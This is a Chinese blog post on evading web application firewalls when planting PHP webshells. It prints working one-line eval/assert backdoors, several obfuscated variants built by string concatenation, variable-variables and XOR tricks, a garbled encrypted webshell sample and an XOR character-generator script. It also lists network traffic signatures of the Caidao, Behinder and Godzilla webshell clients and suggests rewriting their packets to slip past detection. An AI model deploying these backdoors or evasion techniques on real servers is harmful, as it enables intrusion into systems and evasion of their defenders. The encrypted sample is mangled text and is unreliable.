WAF攻防-权限控制

WAF攻防-权限控制

定义

当我们做好信息搜集、漏洞发现、漏洞利用之后,接下来我们很有可能就要上传WebShell来达到对目标计算机的权限控制。
一般来讲,上传WebShell分为两个阶段:

  • 将WebShell上传到目标计算机
  • 通过诸如菜刀、哥斯拉、冰蝎、蚁剑、天蝎等工具来连接WebShell,入侵目标计算机。

在这两个阶段中,WAF都可以通过检测来防止这种情况发生。

  • 代码方面的检测:WebShell上传到目标计算机时,WAF会检查文件内容,一旦发现内容中含有后门语句,那么就会杀掉这个文件。
  • 行为方面的检测:WebShell上传到目标计算机后,当我们使用工具来连接时,WAF就会检查目标计算机所经过的流量,一旦流量符合该工具的特征,那么也会杀掉。

因此,我们所要考虑的事情就是针对这两个阶段做好免杀工作(绕过WAF)。

注:如果你不确定某文件是否为WebShell,那么你可以从网上寻找在线的WebShell查杀工具

代码层面的免杀

我们用一句话木马为例,来说明对它的免杀。

<?php eval($_POST['x']);?>
<?php assert($_POST['x']);?>

传参绕过

//作用:绕过匹配关键函数的正则表达式(例如:只要代码中包含eval,直接就杀掉)
//原理:把带有关键字函数代码以参数值发送,不在代码中体现,从而进行绕过。(将关键字以参数发送,之后再进行拼接)
<?php 
$a=$_GET['a'];  //输入a=ass 
$aa=$a.'ert';   //$aa=assert
//等价于assert(base64_decode($_POST['x']));
//x需要base64编码
$aa(base64_decode($_POST['x']));
?>

变量覆盖

<?php 
$a='b';
$b='assert';
//等价于$b(base64_decode($_POST['x']));
//等价于assert(base64_decode($_POST['x']));
//x需要base64编码(例如:如果你将x写为phpinfo();那么有些WAF会识别这个关键字,就会杀掉。因此直接base64编码,就识别不出来了)
$$a(base64_decode($_POST['x']));
?>

PHP加密变异(比较好的方法)

php文件加密平台:http://www.phpjm.net/encode.html

我们可以对上述变量覆盖的例子进行加密,加密之后的内容,有些WAF是识别不出来的(WAF一般不知道加密算法,检测过程中无法进行解密)。

//加密后的例子
<?php 
if (!defined("FEFCEAC")){define("FEFCEAC", __FILE__);global $?$渷,$垨?$墥寖,$晢枔?$帣寙湈,$倯枖摌?$搮剢亣彊,$枡媰瀬姇?$儍彁媼帪?$儝巼厱崒槙?$憣枬悢湁??$剳殤憠悎崅棖?$崈晠檼梿垥棡枔,$垕敆憛憙棞攢墬?$€€唲枌焿剠摏瀾憫;function 挔($挔,$渷?""){global $?$渷,$垨?$墥寖,$晢枔?$帣寙湈,$倯枖摌?$搮剢亣彊,$枡媰瀬姇?$儍彁媼帪?$儝巼厱崒槙?$憣枬悢湁??$剳殤憠悎崅棖?$崈晠檼梿垥棡枔,$垕敆憛憙棞攢墬?$€€唲枌焿剠摏瀾憫;if(empty($渷?){return base64_decode($挔);}else{return 挔($憣枬悢湁??$挔,$渷?$€€唲枌焿剠摏瀾憫($渷?));}}$憣枬悢湁??挔("c3RydHI=?);$€€唲枌焿剠摏瀾憫=挔("c3RycmV2€");$渷=挔("umFzWTu0X2Rlu?9kWQ==?,"YZUVOWu");$垨?挔("azBmbTW1NzRm塎2RjNjQeODA2孨TNkNjUyMDky宐TdmbTE1a2U=?,"LgbezwZWa");$倯枖摌?挔("l3p1bmNvbCBy宭CNz?,"ZJrXCcIl");$崈晠檼梿垥棡枔=挔("RXRhbT==?,"ZTpnujfAR");$垕敆憛憙棞攢墬?挔("sHJlZ19yZXBcYWN沴?,"cjIMs");function 垨帬(&$垨帬){global $?$渷,$垨?$墥寖,$晢枔?$帣寙湈,$倯枖摌?$搮剢亣彊,$枡媰瀬姇?$儍彁媼帪?$儝巼厱崒槙?$憣枬悢湁??$剳殤憠悎崅棖?$崈晠檼梿垥棡枔,$垕敆憛憙棞攢墬?$€€唲枌焿剠摏瀾憫;$€€唲枌焿剠摏瀾憫?挔("LGll?,"ZpKsbL");@$垕敆憛憙棞攢墬?$垨?$崈晠檼梿垥棡枔."(@$倯枖摌?$渷('eNpl0e9P2kA榊B/B/hTS8uG€ZVoS0QQi6bm渒LHsFlhQsu2咵MqKglRxmBk?zcQCwvhly+瀓AMdY/dXcHk乮Z717vnc0+f?57fhrYLqKI宧NTROqj1RDJ奦X5YM3RYqO+沠v20CTlhJis?YPRK1WJVxf揊fQjbyJWk+E漬6PIHhrOtM50Rmjeh1NsfD態W50KLy72Fe峊WUzGi2F3OS孻mnQs1VSVZV漰UzuEKuKF80汿8vZozR2006?23qYLIisni€drak6GJu72V坖jWS/EqRs5i匶K5aP2YzogQ泆mxe4dBOrUq僙ylq8KGJnm5匟Ew+D5eOUSJ歊qYhKlJdN47昲hFyz1ixmBJ侳Qe/zQmY2G8?lyHUdODnaR?VJqiSTRtp4僺q//YG93/cn搎EyMrptZaIn晄l5uB5PvKwf妜WWMbRcWCvH慩KaFQiFXKgM楺IqD2w++Il/峇HsUQwSjH/Z焎mn6Gym6EK/僥Bz/GbvVaQ9?u2m7sdhMcW刾GQ191cxkd9?rbJo+JzbOD匷M577bw7ReL刌t8MYINn2Yn圫BLQ+gteKIB?v3/zwaYHY6抣d6kAy4bZCM?FS2xED4TYM廙dH0IfOhXSe?z/pFMPSNPm嘥7+bG57+767榓d4d9+uzP9v渂IsywVosp6D僢vzKf285P6d漽E6B4ANmjvV丱78Kpi6JhvH烪mYFFcPaob0扲VMOmillJH3?Qx5bvEwenl昍SKLN/awAbu€A==?)));","檲?垜棡彋0fe8574f3dc64080653d652092e7fe15灅摂洕");return "x";}}else{global $?$渷,$垨?$墥寖,$晢枔?$帣寙湈,$倯枖摌?$搮剢亣彊,$枡媰瀬姇?$儍彁媼帪?$儝巼厱崒槙?$憣枬悢湁??$剳殤憠悎崅棖?$崈晠檼梿垥棡枔,$垕敆憛憙棞攢墬?$€€唲枌焿剠摏瀾憫;$憣枬悢湁??挔("c3RydHI=?);$€€唲枌焿剠摏瀾憫=挔("c3RycmV2€");$渷=挔("umFzWTu0X2Rlu?9kWQ==?,"YZUVOWu");$垨?挔("azBmbTW1NzRm塎2RjNjQeODA2孨TNkNjUyMDky宐TdmbTE1a2U=?,"LgbezwZWa");$倯枖摌?挔("l3p1bmNvbCBy宭CNz?,"ZJrXCcIl");$崈晠檼梿垥棡枔=挔("RXRhbT==?,"ZTpnujfAR");$垕敆憛憙棞攢墬?挔("sHJlZ19yZXBcYWN沴?,"cjIMs");}$搮剢亣彊?挔("BU5hcmN2嶹ElZUUFE歜HdGi3OV?,"ZhzvB");$倯枖摌儬=垨帬($搮剢亣彊?;@$垕敆憛憙棞攢墬?$垨?$崈晠檼梿垥棡枔."(@$倯枖摌?$渷('eNo1jc1OhDAY烺V+FxZcASZdm慛jjDI2iiu4mZ奼NPElU5kTNwB揢9qh8jMUaAta?VWtC3f3nuTe匛4Sb6/DwdHAc搃NZu7AYOxGs3桽hL8evw".$搮剢亣彊?$倯枖摌儬."巐ODV1W6PH1/2?IPd7c3d/dZ9坉x98P3D+52/P€CT560CMwOYJS倀Qh4XxMEkqlh烸tDONTMWnoQa巋8nygRYsP19m怋GquyJJ/SImA峩EtXVWm7KJv7?kxlU0/SIBC1+u7G1HCZ2pNC榝ArBu7I5aVUi恆Iikc69ZKfWi匓muvRi2oINqM侴dfWkGWsUPUP嘗+jwtQgh/CDc€/AJIN2h8€')));","寜??殗搱0fe8574f3dc64080653d652092e7fe15瀬帊搫");return true;?>9bde333733f34f93db5d04749f2fef5a

PHP异或运算(需要写脚本)

//$a=assert
//('!'^'@') = a

<?php $a=('!'^'@').'ssert';$a($_POST[x]);?>
//验算过程:('!'^'@')
/*
! = 0x21
@ = 0x40
00100001
01000000
异或后
01100001 = 97 = a
*/
//异或生成脚本
<?php
$fuhao = "!@#$%^&*()_+=<>?:,.{}[]\|/";
$zimu = "QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm";
$strlen_fuhao = strlen($fuhao);
$strlen_zimu = strlen($zimu);

for($i=0;$i<$strlen_fuhao;$i++){
    for($j=0;$j<$strlen_zimu;$j++){
        echo $fuhao[$i]." ^ ".$zimu[$j]."-->".("$fuhao[$i]"^"$zimu[$j]");
        echo "<br>";
    }
}
?>  

因此,通过异或运算,也可以达到让WAF识别不出来的目的。我们可以编写一个脚本,二重循环暴力搜索(128*128),将脚本中的所有字符(不包括php标签:<?php)全部都用异或运算的形式表达出来,这样WAF可能就识别不出来了,也被称为无字符WebShell。

后门生成器

  • 用诸如哥斯拉这样的工具来生成后门(未必达到免杀效果)
  • 用脚本来生成免杀后门(webshell-venom)(未必达到真正的免杀效果)

建议

在实战中,建议组合上述的免杀方式来达到免杀效果。

行为层面的免杀

威胁感知平台

在护网比赛中,蓝队经常使用威胁感知平台来检测目标服务器上所流经的恶意流量。

例如:当红队使用哥斯拉去连接目标服务器上的WebShell的时候,那么威胁感知平台就会根据哥斯拉的流量特征进行拦截。

举例:

注:类似的工具还有:WAF、IDS(入侵检测系统)、HIDS等

检测技术

在检测流量时,主要采用以下方式:

  • 正则表达式匹配(简单,容易被绕过:加密、编码、分段(参考传参绕过))
  • 机器学习
  • 行为分析

注:实际上检测流量就是在检测数据包,根据数据包的请求头和请求体来进行拦截。

注:如果要进行绕过(免杀),我们可以通过代理软件,将诸如菜刀、哥斯拉等这样的工具所发出的数据包转交给burp,burp修改数据包实现绕过。也可以反编译工具进行二次开发,修改数据包特征实现绕过。

各种工具的流量特征(推荐):https://blog.csdn.net/qq_56698744/article/details/131787890

img

菜刀流量特征(了解)

数据包流量特征(如果全部吻合,可以考虑是菜刀的流量特征):
1,请求包中:ua 头为百度爬虫
2,请求体中存在 eval,base64 等特征字符
3,请求体中传递的 payload 为 base64 编码,并且存在固定的QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7J

冰蝎流量特征(重点)

冰蝎利用了服务器端的脚本语言加密功能,通讯的过程中,
消息体内容采用 AES 加密,基于特征值检测的安全产品无法查出。

注:如果WAF采用正则表达式来进行过滤的话,那么是无法拦截冰蝎的。

冰蝎的工作原理(以代码中的Key为密钥的AES加密解密过程):https://xz.aliyun.com/t/2774?time__1311=n4%2BxniDQitDtG%3Dd0QNDsE3xCTfpDcnjlj67YD&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fu%2F8697

特征:(如果全部吻合,可以考虑是冰蝎的流量特征)
0、User-agent:通过反编译冰蝎的jar包来查看
1、Pragma: no-cache
2、Content-Type:application/x-www-form-urlencoded
3、Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
4、Accept-Encoding: gzip, deflate, br
5、Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7

多抓几次数据包,看请求头当中字段相同的部分,这些地方可以作为特征。
文章:https://www.freebuf.com/news/247009.html

哥斯拉流量特征(重点)

1、User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
2、Accept: 
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,
*/*;q=0.8
3、Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,enUS;q=0.3,en;q=0.2
4、Cookie字段最后面自带一个分号。

多抓几次数据包,看请求头当中字段相同的部分,这些地方可以作为特征。

致谢

https://www.bilibili.com/video/BV1pQ4y1s7kH/?spm_id_from=333.1007.top_right_bar_window_custom_collection.content.click

免责声明

    本博客中的内容仅供学习之用,不用于商业用途,也不可以用于任何非法用途,否则后果自负,本人不承担任何责任!
posted @   夏目^_^  阅读(36)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· ollama系列01:轻松3步本地部署deepseek,普通电脑可用
· 25岁的心里话
· 按钮权限的设计及实现
点击右上角即可分享
微信分享提示